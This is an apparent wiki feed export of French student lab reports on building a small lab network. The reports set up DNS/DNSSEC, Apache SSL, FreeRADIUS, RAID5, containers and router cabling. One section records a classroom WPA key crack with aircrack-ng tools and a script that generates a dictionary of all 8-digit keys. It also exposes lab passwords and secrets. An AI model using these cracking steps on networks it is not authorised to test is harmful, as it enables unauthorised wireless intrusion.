&lt;br /&gt;
Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :&lt;br /&gt;
   /dev/xvdb2 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On applique les modifications :&lt;br /&gt;
   mount -a&lt;br /&gt;
&lt;br /&gt;
==4.Services internet==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Achat du domaine hercule.pw sur gandi.&lt;br /&gt;
&lt;br /&gt;
Installation de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.hercule.space. root.hercule.space (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.hercule.space.&lt;br /&gt;
 	IN	NS	ns6.gandi.net&lt;br /&gt;
 @      IN      A       193.48.57.183&lt;br /&gt;
 ns	IN	A	193.48.57.183&lt;br /&gt;
 www	IN	A	193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.hercule.space&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
Redémarrage du serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP : &lt;br /&gt;
  name : ns.hercule.space&lt;br /&gt;
  IP address : 193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Changement du nameserver principal sur Gandi (A FAIRE): &lt;br /&gt;
  DNS 1 : ns.hercule.space&lt;br /&gt;
&lt;br /&gt;
On laisse ceux de Gandi pour les deux serveurs esclaves&lt;br /&gt;
&lt;br /&gt;
ZONES INVERSES A FAIRE&lt;br /&gt;
&lt;br /&gt;
===DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :&lt;br /&gt;
   dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
Création de la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
 :&lt;br /&gt;
Création de  la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
&lt;br /&gt;
On renomme ces clef : &lt;br /&gt;
  hercule.space-ksk.key&lt;br /&gt;
  hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Puis on les inclus dans le fichier /etc/bind/db.hercule.space&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrements de la zone :&lt;br /&gt;
  dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
  file &amp;quot;/etc/bind/db.hercule.space.signed&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.hercule.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hercule.space.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 Redirect / https://www.hercule.space&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :&lt;br /&gt;
&lt;br /&gt;
  Listen 80 443&lt;br /&gt;
&lt;br /&gt;
On active enfin le module SSL, notre site, et on redémarre le service apache :&lt;br /&gt;
  a2enmod ssl&lt;br /&gt;
  a2ensite hercule.space.conf&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Serveur Freeradius===&lt;br /&gt;
&lt;br /&gt;
Installation de Freeradius sur la vm :&lt;br /&gt;
  apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite un utilisateur au serveur freeradius. Pour cela, dans le fichier /etc/freeradius/3.0/users on ajoute : &lt;br /&gt;
  hercule Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Il nous est demandé de configurer le serveur en PEAP-MSCHAPv2. Pour cela, on modifie les fichiers : &lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/mods-enabled/eap.conf :&lt;br /&gt;
  default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/mods-enabled/mschap :&lt;br /&gt;
  use_mppe = yes&lt;br /&gt;
  require_encryption = yes&lt;br /&gt;
  require_strong = yes&lt;br /&gt;
  with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute les points d'accès dans notre configuration de serveur (fichier : /etc/freeradius/3.0/clients.conf) :&lt;br /&gt;
  client 192.168.0.10/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  client 192.168.0.11/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On met à jour la configuration : &lt;br /&gt;
  ldconfig&lt;br /&gt;
&lt;br /&gt;
== 5. Tests d'intrusion ==&lt;br /&gt;
===Crackage de clé WPA===&lt;br /&gt;
&lt;br /&gt;
Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi (wlp2s0) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng  wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 charset=({0..9})&lt;br /&gt;
 permute(){&lt;br /&gt;
   (($1 == 0)) &amp;amp;&amp;amp; { echo &amp;quot;$2&amp;quot;; return; }&lt;br /&gt;
   for char in &amp;quot;${charset[@]}&amp;quot;&lt;br /&gt;
   do&lt;br /&gt;
     permute &amp;quot;$((${1} - 1 ))&amp;quot; &amp;quot;$2$char&amp;quot;&lt;br /&gt;
   done&lt;br /&gt;
 }&lt;br /&gt;
 permute &amp;quot;$1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Que nous laçons en exécutant :&lt;br /&gt;
&lt;br /&gt;
 $ ./comb.sh 8 &amp;gt;&amp;gt; dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
Le crack est effectué en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -a2 -b 04:DA:D2:9C:50:56  -w /path_to_file/dictionnaire.txt /path_to_file/*.cap&lt;br /&gt;
&lt;br /&gt;
Nous récupérons la clé après quelques heures de calcul :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack groupe7.png|600px]]&lt;br /&gt;
&lt;br /&gt;
== 6. Réalisation ==&lt;br /&gt;
&lt;br /&gt;
===6.1 Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Création de trois partitions LVM de 1Go sur Cordouan : &lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule1 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule2 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule3 -v&lt;br /&gt;
&lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :&lt;br /&gt;
&lt;br /&gt;
  'phy:/dev/virtual/hercule1,xvdc1,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule2,xvdc2,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule3,xvdc3,w'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Installation du paquetage mdadm pour réaliser le RAID5 logiciel :&lt;br /&gt;
  apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
Création du RAID5 :&lt;br /&gt;
  mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
&lt;br /&gt;
On formate le RAID créé : &lt;br /&gt;
  mkfs -t ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
On monte le RAID dans notre VM : &lt;br /&gt;
  mount /dev/md0 /mnt &lt;br /&gt;
&lt;br /&gt;
On créé un fichier sur le RAID pour qu'il contienne des données. On ferme la VM et on lui retire la partition xvdc3 dans sa config.&lt;br /&gt;
On relance la VM. Puis on essaye de remonter le RAID : &lt;br /&gt;
En voulant remonter /dev/md0, un message nous indique que md0 n'existe pas. On lance alors la commande : &lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
Et on s'aperçoit que notre RAID est toujours présent, cette fois n'ayant plus que deux disques, mais apparaît sous le nom md127. On monte alors ce derrnier : &lt;br /&gt;
  mount /dev/md127 /mnt&lt;br /&gt;
On retrouve alors bien le fichier créé initialement sur notre RAID. Lors de sa création, le fichier a été copié sur les 3 disques par le RAID. Ainsi, lorsque que nous avons supprimé un disque, cela n'a pas eu d'impact sur nos données.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Raidhercule.png|600px]]&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Raidhercule.png&amp;diff=48852</id>
		<title>Fichier:Raidhercule.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Raidhercule.png&amp;diff=48852"/>
				<updated>2018-12-17T15:49:21Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48850</id>
		<title>TP sysres IMA5sc 2018/2019 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48850"/>
				<updated>2018-12-17T15:47:25Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* 6. Réalisation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Wiki de TP =&lt;br /&gt;
&lt;br /&gt;
=TP GIS=&lt;br /&gt;
&lt;br /&gt;
==Conteneurs &amp;quot;à la main&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
===Mise en place des conteneurs===&lt;br /&gt;
&lt;br /&gt;
*'''Création d'une partition''':&lt;br /&gt;
   dd if=/dev/zero of=/disk1 bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
*'''Formatage''' : &lt;br /&gt;
   mtfs.etx4 /disk1&lt;br /&gt;
&lt;br /&gt;
*'''Montage de la partition''':&lt;br /&gt;
   mount /disk1 /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Installation d'un système Debian''':&lt;br /&gt;
   debootstrap --include=apache2,nano stable /mnt &lt;br /&gt;
&lt;br /&gt;
*'''Préparation du montage du pseudo système de fichier /proc''':&lt;br /&gt;
   echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; rootfs/etc/fstab&lt;br /&gt;
&lt;br /&gt;
*''' Démontage ''':&lt;br /&gt;
   umount /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Copie en 2 exemplaires''':&lt;br /&gt;
   cp /disk1 /disk2&lt;br /&gt;
   cp /disk1 /disk3&lt;br /&gt;
&lt;br /&gt;
*'''Montage des 3 partitions :'''&lt;br /&gt;
   mount -oloop /disk1 /mnt/dsk1&lt;br /&gt;
   mount -oloop /disk2 /mnt/dsk2&lt;br /&gt;
   mount -oloop /disk3 /mnt/dsk3&lt;br /&gt;
&lt;br /&gt;
*'''Création du processus isolé par unshare''':&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration réseau===&lt;br /&gt;
*'''Création d'un commutateur logiciel''':&lt;br /&gt;
    ip link add mehcret2 type bridge&lt;br /&gt;
&lt;br /&gt;
*'''Création des interfaces virtuelles:'''&lt;br /&gt;
    ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
    ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
    ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
    ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
*'''Ajout d'interfaces dans le commutateur :'''&lt;br /&gt;
    ip link set vif1 master mehcret2&lt;br /&gt;
    ip link set vif2 master mehcret2&lt;br /&gt;
    ip link set vif3 master mehcret2&lt;br /&gt;
    ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
*'''Activation des interfaces''':&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set eth1 up&lt;br /&gt;
&lt;br /&gt;
*'''Récupération du PID des conteneurs :'''&lt;br /&gt;
    ps auxwww | grep unshare&lt;br /&gt;
&lt;br /&gt;
*'''Ajout des interfaces dans les conteneurs :'''&lt;br /&gt;
    ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)&lt;br /&gt;
    ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)&lt;br /&gt;
    ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)&lt;br /&gt;
    ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)&lt;br /&gt;
&lt;br /&gt;
*'''Activation du pont:''' &lt;br /&gt;
    ip address add dev mehcret2 192.168.60.0/24&lt;br /&gt;
&lt;br /&gt;
*'''Attribution des adresses:'''&lt;br /&gt;
    ip address add dev eth0 192.168.60.51/24 (dsk1)&lt;br /&gt;
    ip address add dev eth0 192.168.60.52/24 (dsk2)&lt;br /&gt;
    ip address add dev eth0 192.168.60.53/24 (dsk3)&lt;br /&gt;
    ip address add dev eth1 172.26.145.67/24 (dsk2)&lt;br /&gt;
    ip route add default via 172.26.145.254 (dsk2)&lt;br /&gt;
&lt;br /&gt;
*'''Activation :'''&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set vif1 up&lt;br /&gt;
    ip link set vif2 up&lt;br /&gt;
    ip link set vif3 up&lt;br /&gt;
    ip link set vif4 up&lt;br /&gt;
    ip link set mehcret2 up&lt;br /&gt;
&lt;br /&gt;
On peut désormais pinger entre les différents conteneurs.&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs Web===&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant mettre en place les serveurs apache.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants : &lt;br /&gt;
&lt;br /&gt;
- mndtMehcret     A      172.26.145.67    (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)&lt;br /&gt;
&lt;br /&gt;
- web1Mehcret     CNAME  mndtMehcret      (Serveur web du conteneur 1)&lt;br /&gt;
&lt;br /&gt;
- web2Mehcret     CNAME  mndtMhecret      (Serveur web du conteneur 3)&lt;br /&gt;
&lt;br /&gt;
On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName web1mehcret.plil.space&lt;br /&gt;
      Options Indexes FollowSymLinks&lt;br /&gt;
      DocumentRoot /var/www/html/web1mehcret/&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.&lt;br /&gt;
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web. &lt;br /&gt;
&lt;br /&gt;
Il faut maintenant mettre en place le reverse proxy. &lt;br /&gt;
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName mndtMehcret.plil.space&lt;br /&gt;
      ProxyPass &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPass &amp;quot;/web2&amp;quot; &amp;quot;http://&amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web2&amp;quot; &amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :&lt;br /&gt;
&lt;br /&gt;
     $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Pour utiliser apache en mode reverse proxy, on execute la commande :&lt;br /&gt;
&lt;br /&gt;
     $ a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
11h25 : Serveurs Web unshare OK&lt;br /&gt;
&lt;br /&gt;
==Conteneurs Docker==&lt;br /&gt;
 &lt;br /&gt;
Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.&lt;br /&gt;
Nous exécutons ensuite la commande :&lt;br /&gt;
    $ iptables-save&lt;br /&gt;
Puis on redémarre le service Docker :&lt;br /&gt;
    $ service docker restart&lt;br /&gt;
&lt;br /&gt;
Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.&lt;br /&gt;
 &lt;br /&gt;
Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :&lt;br /&gt;
    $ docker run -i -t  debian&lt;br /&gt;
&lt;br /&gt;
Dans le conteneur, nous ajoutons le proxy de l'école :&lt;br /&gt;
    $ export http_proxy=http://proxy.polytech-lille.fr:3128/ &lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:&lt;br /&gt;
    $ apt-get update&lt;br /&gt;
    $ apt-get install apache2, nano, vim&lt;br /&gt;
&lt;br /&gt;
On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires : &lt;br /&gt;
&lt;br /&gt;
    $ docker commit [IDduConteneur] mehcret&lt;br /&gt;
&lt;br /&gt;
On créé un réseau Docker pour isoler nos conteneurs ensemble :&lt;br /&gt;
&lt;br /&gt;
    $ docker network create --driver bridge mehcretnetwork&lt;br /&gt;
&lt;br /&gt;
Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine : &lt;br /&gt;
&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret1 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret2 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret&lt;br /&gt;
&lt;br /&gt;
Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.&lt;br /&gt;
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10h30 Serveurs Web (docker) OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=TP PRA=&lt;br /&gt;
&lt;br /&gt;
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.&lt;br /&gt;
&lt;br /&gt;
==Tâche 5 : Câblage, connexion SR52, cordouan==&lt;br /&gt;
&lt;br /&gt;
===Connexion des routeurs au réseau de l'école===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur ISR4221 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.&lt;br /&gt;
&lt;br /&gt;
Sur le routeur, on passe le port 21 sur le vlan 131 : &lt;br /&gt;
&lt;br /&gt;
   config t&lt;br /&gt;
   int gi1/0/21&lt;br /&gt;
   switchport access vlan 131&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.&lt;br /&gt;
&lt;br /&gt;
Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery mode=&amp;quot;nolines&amp;quot; widths=500px heights=400px&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File:TableVlansInterfacesSR52.jpg&lt;br /&gt;
&lt;br /&gt;
File:LedSR52.jpg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''&lt;br /&gt;
&lt;br /&gt;
En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux routeurs===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''&lt;br /&gt;
&lt;br /&gt;
Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.&lt;br /&gt;
&lt;br /&gt;
===Connexions au serveur Cordouan===&lt;br /&gt;
&lt;br /&gt;
Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM. &lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux points d'accès===&lt;br /&gt;
&lt;br /&gt;
